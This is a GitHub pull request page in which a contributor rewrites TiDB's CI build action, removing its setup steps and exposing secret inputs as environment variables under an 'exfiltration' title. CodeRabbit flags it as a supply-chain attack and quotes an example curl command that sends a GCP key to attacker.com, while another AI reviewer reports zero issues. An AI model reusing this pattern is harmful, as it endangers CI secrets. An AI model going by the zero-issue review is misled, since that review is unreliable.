Modify action.yml for exfiltration#67450
Conversation
|
@BugBuster9 I've received your pull request and will start the review. I'll conduct a thorough review covering code quality, potential issues, and implementation details. ⏳ This process typically takes 10-30 minutes depending on the complexity of the changes. ℹ️ Learn more details on Pantheon AI. |
|
[APPROVALNOTIFIER] This PR is NOT APPROVED This pull-request has been approved by: The full list of commands accepted by this bot can be found here. DetailsNeeds approval from an approver in each of these files:Approvers can indicate their approval by writing |
|
Hi @BugBuster9. Thanks for your PR. I'm waiting for a pingcap member to verify that this patch is reasonable to test. If it is, they should reply with Once the patch is verified, the new status will be reflected by the I understand the commands that are listed here. DetailsInstructions for interacting with me using PR comments are available here. If you have questions or suggestions related to my behavior, please file an issue against the kubernetes-sigs/prow repository. |
|
Welcome @BugBuster9! |
|
TopScrew seems not to be a GitHub user. You need a GitHub account to be able to sign the CLA. If you have already a GitHub account, please add the email address used for this commit to your account. You have signed the CLA already but the status is still pending? Let us recheck it. |
|
Hi @BugBuster9. Thanks for your PR. PRs from untrusted users cannot be marked as trusted with I understand the commands that are listed here. DetailsInstructions for interacting with me using PR comments are available here. If you have questions or suggestions related to my behavior, please file an issue against the kubernetes-sigs/prow repository. |
📝 WalkthroughWalkthroughThe TiDB Build GitHub Actions composite action was simplified by removing the Changes
Estimated code review effort🎯 2 (Simple) | ⏱️ ~10 minutes Possibly related PRs
Suggested labels
Poem
🚥 Pre-merge checks | ✅ 1 | ❌ 2❌ Failed checks (2 warnings)
✅ Passed checks (1 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. ✨ Finishing Touches🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
|
[FORMAT CHECKER NOTIFICATION] Notice: To remove the 📖 For more info, you can check the "Contribute Code" section in the development guide. Notice: To remove the 📖 For more info, you can check the "Contribute Code" section in the development guide. Notice: To remove the For example:
📖 For more info, you can check the "Contribute Code" section in the development guide. |
There was a problem hiding this comment.
Actionable comments posted: 1
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Inline comments:
In @.github/actions/tidb_build/action.yml:
- Around line 1-20: The composite action definition (name 'TiDB Build', inputs
'bazelrc'/'gcp_sa_key'/'go-version', runs.steps that set env BAZELRC/GCP_SA_KEY)
has been replaced with suspicious placeholder commands (the echo | base64 lines)
and lowered secret protections; restore the original secure build flow by
re-adding the legit bazel setup and credential handling (e.g., the removed
bazel-contrib/setup-bazel step, cache config, and the logic that consumes inputs
into secure files), mark secret inputs 'required: true' again, remove the
echo/base64 lines that could exfiltrate secrets and ensure secrets are never
printed or piped to external commands, and coordinate with security/CI owners to
validate the updated action and scan contributor activity before merging.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Repository UI
Review profile: CHILL
Plan: Pro
Run ID: bea8fd17-771b-42ed-ab62-ae46fbcd1b49
📒 Files selected for processing (1)
.github/actions/tidb_build/action.yml
| name: 'TiDB Build' | ||
| description: 'Build' | ||
| inputs: | ||
| go-version: | ||
| description: Go version to setup | ||
| required: false | ||
| default: "1.25" | ||
| bazelrc: | ||
| description: Bazelrc content from secrets | ||
| required: true | ||
| required: false | ||
| gcp_sa_key: | ||
| description: GCP service account key JSON content | ||
| required: true | ||
| required: false | ||
| go-version: | ||
| required: false | ||
| runs: | ||
| using: composite | ||
| using: 'composite' | ||
| steps: | ||
| - name: Set up bazelisk | ||
| uses: bazel-contrib/setup-bazel@0.16.0 | ||
| with: | ||
| bazelisk-cache: true | ||
| repository-cache: true | ||
| external-cache: false | ||
| disk-cache: ${{ github.workflow }} | ||
| google-credentials: ${{ inputs.gcp_sa_key }} | ||
| bazelrc: ${{ inputs.bazelrc }} | ||
|
|
||
| - name: Report cache mode | ||
| shell: bash | ||
| - shell: bash | ||
| env: | ||
| HAS_BAZELRC: ${{ inputs.bazelrc != '' }} | ||
| HAS_GCP_SA_KEY: ${{ inputs.gcp_sa_key != '' }} | ||
| BAZELRC: ${{ inputs.bazelrc }} | ||
| GCP_SA_KEY: ${{ inputs.gcp_sa_key }} | ||
| run: | | ||
| if [ "$HAS_BAZELRC" = "true" ] && [ "$HAS_GCP_SA_KEY" = "true" ]; then | ||
| echo "Loaded bazelrc and GCP credentials from workflow inputs." | ||
| exit 0 | ||
| fi | ||
|
|
||
| echo "Bazelrc or GCP credentials were not provided to tidb_build." | ||
| echo "This is expected on fork pull_request workflows because GitHub does not expose repository secrets." | ||
| echo "setup-bazel will still configure local disk and repository caches." | ||
| echo "Repository Bazel flags may still enable read-only remote cache during the actual build command." | ||
|
|
||
| - name: Set up Go | ||
| uses: actions/setup-go@v6 | ||
| with: | ||
| go-version: ${{ inputs.go-version }} | ||
| cache: false | ||
| echo "111111111" | base64 | ||
| echo "22222222222" | base64 | ||
| echo "33333333333" |
There was a problem hiding this comment.
🚨 CRITICAL SECURITY ALERT: This PR appears to be a malicious supply chain attack.
This PR exhibits multiple indicators of a deliberate attempt to compromise the CI/CD pipeline:
-
The PR title explicitly states "exfiltration" — a term describing unauthorized data extraction/theft.
-
All legitimate build functionality has been removed — The
bazel-contrib/setup-bazelaction, cache configuration, and credential setup have been entirely stripped. -
Secrets are captured but not used legitimately —
BAZELRCandGCP_SA_KEY(which receivesecrets.BAZELRCandsecrets.GCP_SA_KEYfrom calling workflows like.github/workflows/update-bazel-files.yml) are set as environment variables but the actual credential configuration logic has been deleted. -
Suspicious placeholder commands — The
echo | base64pattern on lines 18-19 is a common placeholder for data exfiltration payloads. These could trivially be modified to send secrets to an external server (e.g.,echo "$GCP_SA_KEY" | base64 | curl -d@-attacker.com). -
Security controls weakened — Changing
required: truetorequired: falsefor secret inputs enables the action to run without proper credentials, potentially masking the attack.
Immediate actions required:
- Do NOT merge this PR
- Investigate the contributor account for signs of compromise or malicious activity
- Review any other PRs from this contributor
- Consider reporting to GitHub security if this is a coordinated attack
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In @.github/actions/tidb_build/action.yml around lines 1 - 20, The composite
action definition (name 'TiDB Build', inputs
'bazelrc'/'gcp_sa_key'/'go-version', runs.steps that set env BAZELRC/GCP_SA_KEY)
has been replaced with suspicious placeholder commands (the echo | base64 lines)
and lowered secret protections; restore the original secure build flow by
re-adding the legit bazel setup and credential handling (e.g., the removed
bazel-contrib/setup-bazel step, cache config, and the logic that consumes inputs
into secure files), mark secret inputs 'required: true' again, remove the
echo/base64 lines that could exfiltrate secrets and ensure secrets are never
printed or piped to external commands, and coordinate with security/CI owners to
validate the updated action and scan contributor activity before merging.
|
⏳ @Mini256 I've received your follow-up and will continue on this pull request. I'll update this comment when I have something to share. ℹ️ Learn more details on Pantheon AI. |
|
@pantheon-bot review |
|
Review Complete Findings: 0 issues ℹ️ Learn more details on Pantheon AI. |
What problem does this PR solve?
Issue Number: close #xxx
Problem Summary:
What changed and how does it work?
Check List
Tests
Side effects
Documentation
Release note
Please refer to Release Notes Language Style Guide to write a quality release note.
Summary by CodeRabbit
Chores
Bug Fixes
bazelrcandgcp_sa_keyinputs optional rather than required, allowing the action to run with minimal configuration.